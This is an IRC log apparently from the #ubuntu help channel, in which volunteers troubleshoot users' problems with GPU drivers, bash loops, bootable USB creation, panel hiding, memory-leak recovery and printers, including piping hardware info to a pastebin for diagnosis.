[00:00] <locrian9> I'm running an ftp server 'vsftpd' on Ubuntu 14.04 and I'd like to sync up to a local NTP server on my LAN.  What is the best ntp client to install to keep this ftp server in time?
[00:21] <pavlos> locrian9: http://www.thegeekstuff.com/2014/06/linux-ntp-server-client/
[00:23] <kk4ewt> locrian9,  i would be more concerned that you are running a ftp server that is not getting any more security updates
[00:25] <malaverdiere> Hi everybody. I got an installation problem over an LUKS+LVM setup from another distro. My system is booting in the recovery console. I have sda1 that is fat32 for EFI, sda2 that is ext2 for /boot sda3 that is having my encrypted lvm volumes. For installing the bootloader, I selected sda. What should I have done instead?
[00:26] <malaverdiere> (and no, it didn't ask me for a password to unlock the encrypted partitions)
[02:09] <rasputin880> I have a bluetooth headset that works fine BT250 (is what it identifies as) but when I connect my bluetooth keyboard the sound stutters
[02:10] <rasputin880> this doesn't happen with another bluetooth headset
[02:13] <rasputin880> just curious if anyone knows a solution
[02:14] <rasputin880> ubuntu 17.04
[02:20] <harut> So I'm on Ubuntu 16.04 on a Dell Optiplex 755 (stock video) and every time I go to fullscreen for any video (YouTube, ElectricSheep, etc.), it will go fullscreen but then when I exit fullscreen the last frame replaces the desktop and none of the windows work, forcing me to reboot
[02:20] <harut> Updated to the latest Intel driver for linux already too
[02:21] <harut> When I originally got this machine fullscreen video worked fine, but I reinstalled Ubuntu and now it does this
[02:31] <rasputin880> harut: does the same thing happen if you change the sound volume of the video
[02:44] <harut> rasputin880, nope
[02:44] <harut> I'm also noticing some weird flickering too when playing windowed video
[02:44] <harut> And just in general
[02:44] <harut> Entire screen flickers
[03:09] <glitsj16> harut: Are you seeing this in web browsers only? Or do you notice flickering when playing video with a media player also?
[03:18] <nhatminh1209> hi everyone
[03:19] <nhatminh1209> is there anyone still awake
[03:19] <nhatminh1209> ?
[03:20] <Bashing-om> nhatminh1209: Throw some bait out, see what bites ,
[03:26] <nhatminh1209> I had a problem installing EtherVPN Client on lubuntu. I set EtherVPN Server on another computer using Window. everything is fine. I enter command: "Accountconnect myaccount", and "$ sudo dhclient vpn_NIC name" And I got message connected. I Type "ifconfig" to see if I got an IP. I got an IT too but then It announced "Connecting"
[03:28] <nhatminh1209> and then vpnclient keep connecting but It will never connect to the Ethervpn server on my Windows again. Can anyone please tell me what happen?
[03:28] <harut> @glitsj16 Seems like mostly in the web browser, I haven't noticed it elsewhere
[03:30] <nhatminh1209> Bashing-om: Thanks
[03:30] <glitsj16> harut: if you use firefox you could try what's suggested at https://wiki.archlinux.org/index.php/Firefox#Tearing_video_in_fullscreen_mode
[03:32] <glitsj16> harut: basically that boils down to changing hardware accelleration, I'm not sure this is your issue though, but it's worth a shot I suppose
[03:34] <Bashing-om> nhatminh1209: :) - but me no help with VPN issues .
[03:38] <harut> glitsj16, I'm using Chromium
[03:38] <harut> I'll see about disabling hardware acceleration
[03:38] <harut> I should probably just bite the bullet and get the half-height video card for it
[03:38] <harut> Might as well get an SSD and the full 16GB RAM for it too then
[03:40] <glitsj16> harut: ah, I never used chromium long enough to know how it does video hw accel, but upping your specs is always a workaround :)
[03:41] <asynec> Will Ubuntu Gnome 17.04 update into the main distro when 17.10 is released?
[03:42] <Bashing-om> asynec: If you keep 17.04 updated it will .
[03:43] <asynec> I'm currently on Fedora 26 so that I can take advantage of Gnome & Wayland, along with Fedora's support for latest kernel version etc. I really miss being able to use DEB files and those aspects of Fedora are driving me nuts. Is there any version of Ubuntu that is focused on having the most up to date packages in the way Fedora is?
[04:06] <glitsj16> asynec: you could try a live daily ISO from 17.10 to check current development, but there isn't anything specifically more up to date in the Ubuntu release concept
[04:07] <asynec> ok,thanks guys. i you know of a distro that might be a better fit for me, i'd be super interested
[04:07] <asynec> if*
[04:08] <Fretegi> asynec, whats the deal with the usage of .DEB files?
[04:09] <Fretegi> asynec, using stuff outta the repos that are packaged as .DEB?
[04:09] <Fretegi> outside*
[04:10] <glitsj16> asynec: if you want a debian based package manager not really, otherwise arch linux's pacman is quite nice IMO
[04:10] <asynec> well, on Fedora, I can't use DEBs and I'm having a very frustrating experience with installing software. I miss that about Ubuntu. But I love the way Fedora includes the latest kernel by default and its general software philosphy
[04:13] <Fretegi> asynec, Arch is what i was going to suggest as well.  My personal fave is Gentoo, portage is incredibly powerful but gentoo takes a little warming up to
[04:13] <Fretegi> both will get you about as bleeding edge as possible
[04:14] <asynec> yeah, i was definitely considering Arch, but I am concerned about the availability of packages for arch as well.
[04:14] <lotuspsychje> Fretegi: plz dont suggest other distro's in the ubuntu channel
[04:15] <asynec> wouldnt it be similar to the issues i have finding rpms?
[04:15] <Fretegi> lotuspsychje, my apologies, i was just responding to a question asked in the room
[04:15] <asynec> sorry lotuspsychje i dont mean to break the rules
[05:57] <Guest59202> hi, how can i hide application bars in my ubuntu. in kubuntu its very easy, but via gtk, i cant find a solution?
[06:02] <tesko> what wm are you using?
[06:17] <Guest59202> tesko: oh, sorry. ubuntu 16.04 gtk
[07:02] <AnnaRooks> i switched to ubuntu from another distro that my friend got for me, ssh is a lot slower and looks like it freezes a lot, not sure why?
[07:03] <EriC^^> freezes in the middle of the seession?
[07:04] <AnnaRooks> sometimes it stalls or something while logging in and i can ctrl c it and sometimes i cant, sometimes it freezes during a session
[07:07] <AnnaRooks> added a few -v, it stalling on "open confirm rwindow 0 rmax 32768"
[07:08] <AnnaRooks> im not sure what couldve changed between the installations
[07:12] <freelancerbob> hi i need find file server.xml on my HDD what command should iuse ?
[07:14] <geirha> AnnaRooks: maybe two hosts using the same ip
[07:15] <geirha> freelancerbob: where is it mounted?
[07:16] <geirha> find /media/foo -xdev -name server.xml -print  # where /media/foo is the mountpoint you want to search through
[07:16] <freelancerbob> find / -name server.xml
[07:16] <freelancerbob> i got it :) thanks
[07:18] <AnnaRooks> geirha: what do you mean by that? are ips not uniquely distributed?
[07:20] <ppang> string does not convert to list : https://pastebin.com/1c42aLfu
[07:21] <geirha> ppang: remove the '' quotes, and add "" quotes around $x
[07:21] <ppang> geirha, there is no single quotes around $x to start with
[07:22] <geirha> ppang: I know, but $x should be double quoted.
[07:22] <ppang> like echo "$x" ? doenst work either
[07:22] <geirha> the single quotes to remove are around the words you want to iterate
[07:22] <ppang> like this "SANSA WILL KILL LITTLEFINGER" ?
[07:22] <geirha> no
[07:23] <geirha> *remove*, not replace
[07:23] <ppang> oh.. that seems to work.. dont know why
[07:23] <geirha> with the quotes you were saying "this whole sentence is a single word"
[07:24] <ppang> then how can i create list of words out of "single sentence"
[07:24] <nugroho> bye, electricity online.
[07:25] <AnnaRooks> this is embarassing.. i was connected on weaker wifi network
[07:27] <geirha> ppang: you just did.  for word in foo bar baz; do printf 'Doing something with %s\n' "$word"; done
[07:29] <ppang> thank you, geirha
[07:30] <geirha> if the line is already in a variable, you can split it into an array with the read command
[07:54] <afidegnum> hello, i my server is locked, i can't do anything, how can i correct this settings? i m trying to install proxmox on bridged mode https://dpaste.de/dLEP
[08:02] <ducasse> afidegnum: if this is proxmox, shouldn't you ask them?
[08:03] <afidegnum> no answer from them so far,
[08:04] <ducasse> afidegnum: we only support ubuntu, so i suggest you wait for an answer from them.
[08:09] <ram_ram_ji> hi all
[08:09] <ram_ram_ji> How to make an archieve file
[08:13] <ram_ram_ji> *How to archieve  a file with .a format
[08:14] <tesko> is .a archive?
[08:15] <ram_ram_ji> AR archieve I think
[08:16] <tesko> why bit just use a tarball?
[08:16] <tesko> or rar?
[08:23] <tesko> ram_ram_ji did you read the manual for ar?
[08:24] <tesko> if not here it is http://manpages.ubuntu.com/manpages/xenial/man1/ar.1.html
[08:30] <tomeaton17> I am having problems with xrandr, it is causing my mouse cursor to flicker. Does anyone have experience or could help me with this issue?
[08:31] <ducasse> tomeaton17: what do you mean by xrandr is causing it?
[08:32] <tomeaton17> ducasse: I am using the command to change the scaling on my second monitor because it is not the same dpi as my laptop screen. When I run the command, the cursor on the laptop screen becomes flickery and jerky
[08:33] <ducasse> tomeaton17: which gpu drivers?
[08:33] <tomeaton17> ducasse: I had to switch to noveau because the xrandr commands weren't supported by the nvidia drivers
[08:33] <tesko> https://askubuntu.com/questions/450655/mouse-flickering-on-one-of-my-two-screens
[08:37] <tomeaton17> tesko: I don't think that is the issue, I am just using HDMI and my laptop screen
[08:38] <tesko> oooooh you didnt say it was a laptop
[08:39] <tomeaton17> Yeah
[08:40] <nocco> coming from mac and just started using ubuntu. It seems that i have to use sudo for basically everything. And not just sensitive stuff. E.g. installing things through apt-get, I have to use sudo. What is the reason for that? Can i remove that somehow? In mac it is very alarming when you have you sudo. I do not get that feeling in linux because I use sudo all the time.. it kind of missing it purpose then. Am I wrong?
[08:40] <tesko> you running 16.10 or 17.04
[08:41] <ducasse> tomeaton17: i've heard of problems like this with nouveau before, but don't know how to fix it i'm afraid
[08:41] <tomeaton17> tesko: 17.04
[08:42] <tomeaton17> ducasse: Ok thanks for the help.
[08:42] <ducasse> nocco: the reason you need sudo to use apt is that it installs software system-wide
[08:43] <ducasse> tomeaton17: maybe try #nouveau? they're busy kernel devs, so be patient :)
[08:44] <tomeaton17> Alright I will give it a go thanks!
[08:44] <tesko> have you tried dmesg
[08:44] <tesko> see if theres anything there
[08:45] <tesko> like dmesg | grep video
[08:45] <tesko> or xrandr
[08:46] <nocco> ducasse: Alright, so is there anyway that I can log in as root, or change my user to root?
[08:47] <ducasse> nocco: that's a bad idea
[08:47] <nocco> ducasse: why is tath?
[08:47] <nocco> that*
[08:48] <ducasse> !root | nocco read this
[08:48] <tomeaton17> tesko: I will try
[08:55] <yeeve> hey chat, I run ubuntu 16.04.3 as a LAMP setup for dev work. I'm wanting to reinstall for a clean start, what's the recommendation at the moment regarding 17.10? Worth waiting for or do I go 17.04 and not worry?
[08:56] <akik> nocco: the answer to your question is sudo -i
[08:57] <vlt> yeeve: When do you want to begin to work? ;-)
[08:58] <yeeve> As soon as possible but is 17.10 bringing anything worth waiting for?
[08:58] <vlt> yeeve: Never wait. Begin now, upgrade to 17.10 when it's out.
[08:59] <tesko> it is out in nightly builds
[08:59] <nocco> ubottu: Thanks will read more about.
[08:59] <nocco> akik: Thanks!
[08:59] <ducasse> tesko: we don't recommend using that
[09:00] <yeeve> Thanks vlt, I'll start now :)
[09:00] <nocco> ducasse: I would guess that. But sudo isn't very alarming to me anyway. :P haha I will try to get use to typing sudo instead..
[09:00] <nocco> ducasse: Thanks anyway!
[09:00] <nocco> :)
[09:05] <tesko> sorry ducasse
[09:05] <tesko> time for coffee ice cream
[09:09] <Inferno_geek> When I try to use xbacklight to increase the brightness of my screen, I get the error message: "RANDR Query Version returned error - 1". What can you advice me for solving this problem?
[09:14] <tesko> first type xrandr --verbose
[09:15] <tesko> and paste the results on pastebin.com
[09:21] <Inferno_geek> https://pastebin.com/0HfP12F1
[09:28] <tesko>  what are those two things that are disconected?
[09:29] <ducasse> outputs.
[09:30] <fiter> The output of date command in my system appears like this منگل اگست 22 14:25:24 PKT 2017 but I want to change it to english, I have changed language to english in the language settings but output of date still remains the same? Any suggestions?
[09:32] <ducasse> fiter: did you log out and back in?
[09:32] <fiter> no
[09:32] <fiter> ducasse: let me check it again
[09:34] <cnnx> i upgraded to the latest ubuntu last night and this morning my cursor is invisible
[09:35] <tesko> Inferno_geek, type cat /sys/class/backlight/psb-bl/actual_brightness
[09:37] <Inferno_geek> No such directory
[09:38] <Inferno_geek> But cat /sys/class/intel_backlight/actual_brightness yields 1718
[09:41] <Vanellope> welp
[09:41] <Vanellope> I think I've just borked my install. again.
[09:42] <Inferno_geek> ?
[09:42] <Vanellope> decided to install the amdgpu-pro drivers and now I either boot to a loop of completion loop timed out, and using nomodeset to fix that just boots to a blank black screen
[09:43] <tesko> Inferno_geek, try this script for bash
[09:43] <tesko> https://pastebin.com/PHgA6R12
[09:43] <BluesKaj> Howdy folks
[09:44] <tesko> must run it sudo
[09:45] <ducasse> Vanellope: which release is this?
[09:45] <Vanellope> 16.04.3
[09:45] <Vanellope> the drivers don't support 17.04
[09:46] <ducasse> Vanellope: didn't amdgpu-pro require 16.04.1?
[09:46] <Vanellope> nope
[09:46] <Vanellope> 17.30 supports 16.04.3
[09:47] <ducasse> Vanellope: with .3 you've got the kernel and x stack from 17.04, so that's odd
[09:47] <Vanellope> hunh
[09:50] <Inferno_geek> tesko:, https://pastebin.com/kB7NZzB1
[09:50] <ducasse> Vanellope: did the amdgpu drivers work ok?
[09:50] <Vanellope> you mean the preinstalled ones?
[09:51] <ducasse> yup
[09:51] <Vanellope> with nomodeset sure
[09:52] <ducasse> ok, so 'no' :)
[09:52] <Vanellope> well
[09:52] <Vanellope> I at least could get into the desktop :P
[09:52] <ducasse> you shouldn't need that
[09:52] <Vanellope> but no, I shouldn't
[09:52] <Inferno_geek> tesko, https://pastebin.com/kB7NZzB1
[09:55] <ducasse> Vanellope: is your gpu supported by radeon, or only amdgpu?
[09:56] <yeeve> With 17.10 moving to Gnome as default, should I reinstall with Ubuntu Gnome 17.04 to be in a better position for the 17.10 upgrade?
[09:56] <Vanellope> it's got an r5 and an r7 in it, so don't think so
[09:57] <ducasse> yeeve: the upgrade will handle that
[09:57] <ducasse> Vanellope: right. hmmm.
[09:57] <yeeve> Ok ducasse :)
[10:00] <ducasse> Vanellope: my thoughts are either 1) get help from amd with amdgpu-pro or 2) give up on -pro and wait for someone with more experience with amdgpu
[10:00] <Vanellope> yeah, may give up on pro
[10:01] <Vanellope> welp, time to reinstall
[10:02] <ducasse> Vanellope: you might be able to just remove them, aren't they in a .deb?
[10:02] <Vanellope> not entirely sure
[10:02] <Vanellope> plus dependencies
[10:02] <BluesKaj> no need to reinstall just nomodeset until the next kernel,module uipdate
[10:02] <Vanellope> hundreds of dependencies
[10:03] <Vanellope> nomodeset gives a black screen with -pro
[10:03] <Vanellope> besides, it was a clean install anyway
[10:03] <Vanellope> so nothing lost except some time
[10:03] <BluesKaj> don't use pro, andgpu
[10:04] <BluesKaj> amdgpu should work with nomodeset,that's not a serious bug
[10:05] <BluesKaj> besides reinstalling probly won't help
[10:05] <BluesKaj> Vanellope,^
[10:06] <Vanellope> mhm
[10:06] <Vanellope> reinstalling will at least get me back to a clean slate that is useable
[10:08]  * BluesKaj shrugs
[10:10] <nhatminh1209> anyone know about ethervpn?
[10:13]  * Inferno_geek worders, why tesko's script is not working.
[10:18] <j4g0> i need some hints on what could have gone wrong when i tried to create a bootable usb drive from an .iso using unetbootin. the iso files md5 hash of the iso is fine and running it on a vm runs fine as well. When I create a bootable usb using UNetbootin, i can't boot from it. The bios of both systems i tried on is set to boot from usb, they just tell me that there is no os there
[10:19] <j4g0> and there are'nt exactly many options to choose from in unetbootin either
[10:21] <EriC^^> j4g0: try making the usb drive using dd, unetbootin is known to not work sometimes
[10:21] <j4g0> oh ok, ty
[10:22] <EriC^^> j4g0: sudo dd if=/path/to/iso of=/dev/sdX bs=4M status=progress && sync
[10:23] <j4g0> rgr
[10:24] <SimonNL> from file manager open the iso with dusk image writer.
[10:24] <SimonNL> disk*
[10:32] <j4g0> EriC^^, worked like a charm, thx
[10:32] <EriC^^> np
[10:43] <Vanellope> so, I was looking through the list of supported hardware on the wiki for amdgpu and radeon. both my igpu and the dedicated card are listed as working with amdgpu
[10:46] <BluesKaj> Vanellope, is this a hybrid gpu system on a laptop?
[10:46] <Vanellope> seems like it
[10:46] <Vanellope> yes
[10:47] <BluesKaj> that complicates your gpu driver issue and choices
[10:49] <Vanellope> yep
[10:51] <BluesKaj> what is the other gpu besides the amd?
[10:51] <Vanellope> amd
[10:51] <Vanellope> they're both amd
[10:52] <Vanellope> the igpu is carrizo and the dedicated is a topaz
[10:53] <Vanellope> not sure exactly what ones mind you, but I know they're from those architectures
[10:57] <BluesKaj> which kernel on 16.04 ? uname -a
[10:58] <Vanellope> 4.10.0-32
[11:01] <effectnet> hello in here
[11:01] <effectnet> went to office store yesterday, bought a brother laser printer.  i could hook it up to both ubuntu or windows, but could not print things across network.
[11:02] <effectnet> I want to buy a new printer and have it work across network.
[11:02] <effectnet> oh i returned the brother pfffft
[11:02] <BluesKaj> Vanellope, suppose you already read this https://help.ubuntu.com/community/HybridGraphics
[11:03] <SimonNL> usually it's     connect the printer, install driver and set the printer up.
[11:03] <effectnet> yeah i did that with the brother.  they had a linux driver on their website.  did work good locally sure.
[11:04] <SimonNL> did you connect by ethernet effectnet
[11:04] <effectnet> no usb cable
[11:05] <effectnet> lessee i do have a cable and port open....  ok good one
[11:05] <BluesKaj> effectnet, we have a HP printer setup and connected to a windows  pc , but the HPLIP driver detects it on our network and setup is simple and it works
[11:05] <effectnet> ok i will buy an hp today
[11:05] <effectnet> is it better to use an ethernet cable setup?
[11:07] <Vanellope> BluesKaj: not really too much help since I need to use nomodeset to boot
[11:08] <effectnet> thx for chat
[11:08] <Vanellope> running grep on both amdgpu and radeon returns nothing... wouldn't one of them return something if it was being used?
[11:08] <BluesKaj> not really, ethernet is usually for windows router connected network printers
[11:08] <effectnet> oh
[11:08] <BluesKaj> effectnet,^
[11:09] <BluesKaj> you can try that tho effectnet
[11:09] <effectnet> might be better in my case, as the linux puter dual boots and printer has two installments
[11:09] <effectnet> yeah gonna try it today
[11:10] <BluesKaj> Vanellope, lspci -k|grep -iEA5 'vga|3d
[11:10] <BluesKaj> xorrection lspci -k|grep -iEA5 'vga|3d'
[11:11] <BluesKaj> :-)
[11:12] <Vanellope> so, that tells me it's using the Carrizo card and the amdgpu kernel module
[11:15] <multifractal> https://pastebin.com/Xn6R9Lur I want to loop over the contents of a directory and perform some action on each file (if it has a particular extension). But what I'm doing currently just echos the name of the directory that I supply as an argument...
[11:15] <raynold> ahh it's a wonderful day :D
[11:16] <BluesKaj> Vanellope, that would be your onboard low power level gpu methinks
[11:16] <Vanellope> it is
[11:28] <ioria> multifractal,  the script looks fine,  try to quote the $THE_DIR
[11:29] <multifractal> ioria: it seems to work sometimes. but when i supply a directory whose name contains spaces, it just echos each piece of directory path, delimited by the spaces.
[11:29] <ioria> multifractal,   quote the $THE_DIR
[11:29] <BluesKaj> Vanellope, not much info avaialble about your dual gpu system or how to avoid nomodeset
[11:30] <ioria> Vanellope, AMDGPU not working ?
[11:32] <multifractal> ioria: oh cool thanks
[11:32] <ioria> multifractal,   np
[11:35] <farhad> is there any solution to autohide top panel in ubuntu?
[11:35] <farhad> it took me lots of time!!!
[11:36] <ioria> nope
[11:36] <farhad> no, its not logical!!!!
[11:36] <farhad> what in unity.css ?
[11:36] <ioria> you  can make it transparent and remove the indicators
[11:37] <farhad> but it still take me the space on top of my monitor
[11:37] <farhad> ?
[11:37] <ioria> farhad, afaik, change DE
[11:38] <ioria> farhad, but if you find a way, let us know
[11:38] <farhad> no way. it took me lots of time
[11:39] <farhad> https://extensions.gnome.org/extension/740/hide-top-panel/
[11:39] <farhad> this extension, but i cant work with that
[11:39] <ioria> not unity's
[11:39] <farhad> maybe is solution. but not for me!!! :)
[11:40] <ioria> gnome's
[11:40] <farhad> gnomes
[12:04] <Vanellope> so BluesKaj I was looking through gpu-manager.log and both gpus are listed as not being bound to any driver
[12:08] <DarekDeo> Hi, I have a problem with hybrid gpu after installing Oibaf-ppa. Before updating drivers everything worked fine except I had graphic issues with DRI_PRIME=1 gpu that's why I did want to try Oibaf PPA. The issue is about DRI_PRIME=1 still uses default Intel gpu. Second gpu is AMD. When i type in terminal: xrandr --listpoviders I see both graphic cards
[12:09] <BluesKaj> Vanellope,  lspci -nnk | grep -i vga -A3 | grep 'in use' , include the quotes
[12:10] <DarekDeo> How can I make DRI_PRIME=1 use second gpu again? updating drivers could overwrite some settings?
[12:10] <Vanellope> nothing
[12:12] <DarekDeo> brb, I am trying DRI3 for Intel gpu as right now it is still DRI2, not sure if it will help. reboot
[12:12] <farhad> but still no way to hide top bar in ubuntu 16.04
[12:12] <farhad> ?
[12:15] <phisch> default folders receive a standard icon from the active gtk theme, the value that does that is the 'standard::icon' property on the file/folder. How can i set this property on a custom file/folder? `gio set file standard::icon user-desktop` tells me it can't set this attribute
[12:15] <BluesKaj> Vanellope, then all I can suggest is install the amdgpu driver or reinstall it if necessary
[12:17] <DarekDeo> but, changing setting to DRI3 did not help, additionally I am getting now error message when i try to run "DRI_PRIME=1 glxinfo | grep OpenGL" which is: libGL error: unable to load driver: radeonsi_dri.so
[12:17] <DarekDeo> libGL error: driver pointer missing
[12:17] <DarekDeo> libGL error: failed to load driver: radeonsi
[12:17] <DarekDeo> then it switches to Intel and display info about Intel gpu
[12:21] <arunkumar413> system going to sleep when battery is too low and doesn't wake up even after plugging the AC
[12:22] <arunkumar413> power is ON but the screen is blank
[12:22] <arunkumar413> returned to ubuntu after many  years. They doesn't seem to have fixed this bug
[12:23] <arunkumar413> also ubuntu is draining the battery very fast compared to windows
[12:26] <phisch> does anyone know how to change the `standard::icon` property of a file?
[12:27] <arunkumar413> phisch:
[12:27] <arunkumar413> click on the icon and select the file
[12:28] <arunkumar413> rightclick on the file---->click on file icon to select the icon file.
[12:28] <notnotdan> Hi. Due to the nature of the apps that I run on my computer it happens from time to time that I run out of memory and my system completely freezes. I have been using the PrtScr+REISUB sequence to reboot my computer. But I have recently learned about SysRq+F which should trigger oom_kill and kill some memory-hogging process. Unfortunately that doesn't seem to work on mysystem
[12:28] <phisch> arunkumar413: that would set the metadata::icon
[12:28] <phisch> but not the standard::icon
[12:28] <notnotdan> My /proc/sys/kernel/sysrq says "1" and I can trigger a reboot by SysRQ+B
[12:28] <phisch> by setting the standard icon you would get features like scaling
[12:29] <notnotdan> but typing out SysRQ+F doesn't seem to do anything
[12:29] <arunkumar413> phisch: u want to change it for file type? not for individual file?
[12:30] <BluesKaj> notnotdan, got a swap partition/file ?
[12:30] <notnotdan> BluesKaj: yes, I have a fairly large (4gb) swap file
[12:31] <phisch> the "Fesktop, Documents, Downloads, Music..." folders in your users home directory all receive icons through their `standard::icon` attribute, there are more possible values/icons and i would like to create a folder that uses another one of those
[12:31] <phisch> arunkumar413
[12:31] <BluesKaj> notnotdan, your swap should be 1.5X your installed RAM
[12:32] <notnotdan> BluesKaj: so I guess I should resize my swap partition
[12:32] <notnotdan> fair enough, but I still want to fix the magic key for oom_kill
[12:33] <BluesKaj> if you have 4G RAM then yes
[12:33] <notnotdan> I have 8gb of RAM
[12:35] <BluesKaj> then I doubt that you're memory is to blame unless you have a lot of apps open at once, notnotdan
[12:35] <BluesKaj> your
[12:36] <notnotdan> BluesKaj: I have an app that is leaking a lot of memory very quickly
[12:36] <notnotdan> I can see it in htop or in the system monitor
[12:36] <notnotdan> Actually I have 8GB of swap, my ba
[12:37] <BluesKaj> you mean mistake of course
[12:40] <BluesKaj> think killing the app responsible is better or your system than REISUB etc the find out if there's a bug associated with the app and report it
[12:41] <BluesKaj> then
[12:41] <notnotdan> That's the whole point, I do not want to reboot the whole computer, I just want to kill the app.
[12:41] <notnotdan> Hence I want to be able to use SysRq + F
[12:44] <BluesKaj> notnotdan, doesn't ubuntu have a system monitor gui app that allows pid kills/termination ..kde/plasma certainly does and it's quite effective
[12:46] <notnotdan> BluesKaj: As I mentioned earlier, this memory leak completely freezes my system so no, I cann't use a system monitor gui app.
[12:46] <arunkumar413> is there an opensource ticket support system
[12:53] <BluesKaj> notnotdan, https://askubuntu.com/questions/596830/kill-process-with-htop
[12:53] <farhad> no way to autohide top bar in ubuntu 16.04?
[12:55] <vlt> farhad: I'm just curious: Why do you want to know if there's no way?
[12:56] <Pici> arunkumar413: RT is one
[12:58] <farhad> vlt: i have change my monitor and now its on my norve alot
[12:58] <farhad> vlt: i have change my monitor and now its on my nerve alot
[13:00] <farhad> vlt: my monitor is wide alot and top bar is in my eye. i cant tolerate it :((
[13:02] <farhad> vlt: if i can remove top bar is very good. i found /usr/share/themes/Ambiance/gtk-3.0/apps/unity.css but cant find top bar to removed it :)
[13:04] <donteventry> hi
[13:04] <minimec> farhad: If you switch to the gnome3 desktop, you can hide the top bar.
[13:04] <donteventry> what is the name of the package for cdrecord?
[13:04] <donteventry> I want to use cdrecord. so which package please .
[13:04] <arunkumar413> Pici: u mean otrs?
[13:05] <donteventry> does anyone know?
[13:06] <farhad> minimec: how can i?
[13:06] <farhad> minimec: is there any option any where?
[13:06] <fireball```> farhad, install 'sudo apt install wmctrl' & 'wmctrl -r ":ACTIVE:" -b toggle,fullscreen'
[13:07] <farhad> fireball```, this is for fullscreen of that page. not solution for autohide or remove top bar.
[13:08] <minimec> farhad: Be aware that you change the desktop environment... So the desktop will be slightly different from unity. https://askubuntu.com/a/766074
[13:08] <Pici> arunkumar413: https://bestpractical.com/request-tracker/
[13:08] <minimec> farhad: If you have autoologin installed, you will have to logout afterwards probably and switch the desktop session to gnome3
[13:09] <minimec> farhad: In gnome3 you will then have to install a gnome extension called 'hide-topbar'.
[13:10] <farhad> minimec: this? https://extensions.gnome.org/extension/545/hide-top-bar/
[13:10] <minimec> farhad: exactly.
[13:11] <donteventry> does anyone know programming here?
[13:11] <Pici> donteventry: are you doing a survey? or is there a specific quesition?
[13:11] <donteventry> survey.
[13:12] <donteventry> Pici: ? was up
[13:13] <Pici> donteventry: Yes, people here know programming.
[13:13] <donteventry> which lang/
[13:13] <donteventry> I thought they justk now linux. but how come lots of windows people don't know programming.
[13:14] <barend> donteventry: windows has more of a general audience i guess l
[13:14] <donteventry> barend: no bill gates does windows.
[13:15] <barend> donteventry: are you a troll? :p
[13:15] <arunkumar413> Pici: installed the otrs
[13:15] <donteventry> barend: why
[13:15] <arunkumar413> do you know how to run it on local host?
[13:15] <donteventry> no
[13:15] <barend> Bill Gates doesn't work for Microsoft :D
[13:16] <Pici> arunkumar413: I've never used it, so I don't know, sorry. Check its documentation?
[13:17] <donteventry> but barend which lang do you know?
[13:17] <donteventry> it's looks like 80% of linux users know programming.
[13:20] <barend> donteventry: i use Python and Go (the golang.org one)
[13:24] <donteventry> so go is a replacement for C++?? right. as most people including the makers of C dont' like c++.
[13:26] <Pici> !offtopic
[13:47] <Saint_cussed> Hi
[13:48] <Saint_cussed> anyone here?
[13:49] <minimec> !asl | Saint_cussed
[13:50] <minimec> oups..
[13:50] <minimec> !ask | Saint_cussed
[13:58] <eduardoj> hello guys
[13:59] <eduardoj> anyone knows how to make a phone call from ubuntu cli? i have a ubuntu machine, a line, and a fax/modem card
[14:03] <gabrielc> minicom maybe
[14:04] <gabrielc> minicom is tui, not cli but maybe has a cli mode
[14:06] <gabrielc> or sending AT commands directly to /dev/modemdevicename
[14:09] <jer> periodically pulseaudio stops recognizing my microphone just randomly, anyone ever had this problem before?
[14:10] <jer> eduardoj, there's a ruby gem called 'serialclient' that is cli, and can issue AT commands for you
[14:15] <matthiaskrgr> hi, how to debug installation failures?
[14:16] <matthiaskrgr> I tried the nightly image "artful-desktop-amd64.iso" and while installing to a t470, the installer just crashes and the notebook reboots
[14:16] <Hanumaan> I installed rdkit in ubuntu but having this problem "'module' object has no attribute 'MolToInchi'" how to install MolToInchi module?
[14:21] <saint_cussed> hi
[14:31] <pabed> hi guys , my gui does not load , my graphic card is Nvidia , how should I do ?
[14:31] <ioria> Hanumaan, how did you install it ?
[14:33] <ioria> pabed, try the guest account and paste sudo lshw-c Video
[14:33] <ioria> pabed,  sudo lshw -c Video
[14:34] <pabed> let me try it
[14:35] <Hanumaan> ioria, I have installed it with apt sudo apt install python-rdkit librdkit-dev
[14:36] <Hanumaan> ioria, actually tried to install 2017 along with boost but did not worked ..
[14:36] <Hanumaan> ioria, would like to install latest possible installation in ubuntu
[14:37] <ioria> Hanumaan, so, or you try with an external package, or you use the repos one ... i'd say
[14:37] <ioria> Hanumaan, i don't use it but the command should be (for the repos one) apt-get install python-rdkit librdkit1 rdkit-data
[14:38] <Hanumaan> ioria, repos one got installed without any problem but MolToinchi is not there and external package installation is not working
[14:38] <Hanumaan> ioria, ok will try the command you gave
[14:38] <saint_cussed> lose
[14:38] <ioria> Hanumaan,  let's try
[14:39] <Hanumaan> ioria, tried the command installation went fine but when I use gets this error "'module' object has no attribute 'MolToInchi'"
[14:41] <ioria> Hanumaan,  that's a python error, i guess
[14:41] <ioria> Hanumaan,  cat /etc/issue
[14:42] <Hanumaan> ioria, Ubuntu 16.04.3 LTS \n \l
[14:43] <guest-ajqjlq> ioria: I log in guest but I don't have permission for sudo
[14:44] <guest-ajqjlq> ioria: I meant lshw -c Video
[14:44] <ioria> guest-ajqjlq,  paste lspci -k | grep -EA2 'VGA|3D'
[14:47] <guest-ajqjlq> ioria: http://paste.ubuntu.com/25370064/
[14:49] <ioria> guest-ajqjlq,  logout Guest Account, and try open a console  (ctrl+alt+f1)
[14:50] <guest-ajqjlq> ioria: i did it
[14:51] <ioria> guest-ajqjlq, sudo lshw -c Video
[14:52] <ioria> Hanumaan,  how do you start it ? from terminal ?
[14:53] <guest-ajqjlq> ioria: I did it but how to paste it from that terminal to here
[14:54] <ioria> guest-ajqjlq, sudo lshw -c Video | nc termbin.com 9999     and paste here the url
[14:55] <EriC^^> guest-ajqjlq: type here "/exec -o sudo lshw -c video | nc termbin.com 9999"
[14:55] <ioria> guest-ajqjlq, to be honest, that cms works also without sudo
[14:56] <guest-ajqjlq> "/exec -o sudo lshw -c video | nc termbin.com 9999"
[14:56] <guest-ajqjlq> sorry
[14:58] <guest-ajqjlq> ioria: it said port number is invalid
[14:59] <ioria> guest-ajqjlq, it works here, sure you typed that correctly ?
[14:59] <texla> I want to transfer a password manager (pasaffe) from sda6 Ubuntu to sda7 Mint 17.3 How do I accomplish this chore
[14:59] <guest-ajqjlq> ioria: termbin.com/1mbp
[15:00] <ioria> guest-ajqjlq,  i don't see nvidia ....
[15:01] <guest-ajqjlq> ioria: but why
[15:01] <ioria> guest-ajqjlq,  paste lspci -k
[15:03] <guest-ajqjlq> ioria: http://termbin.com/mrz0
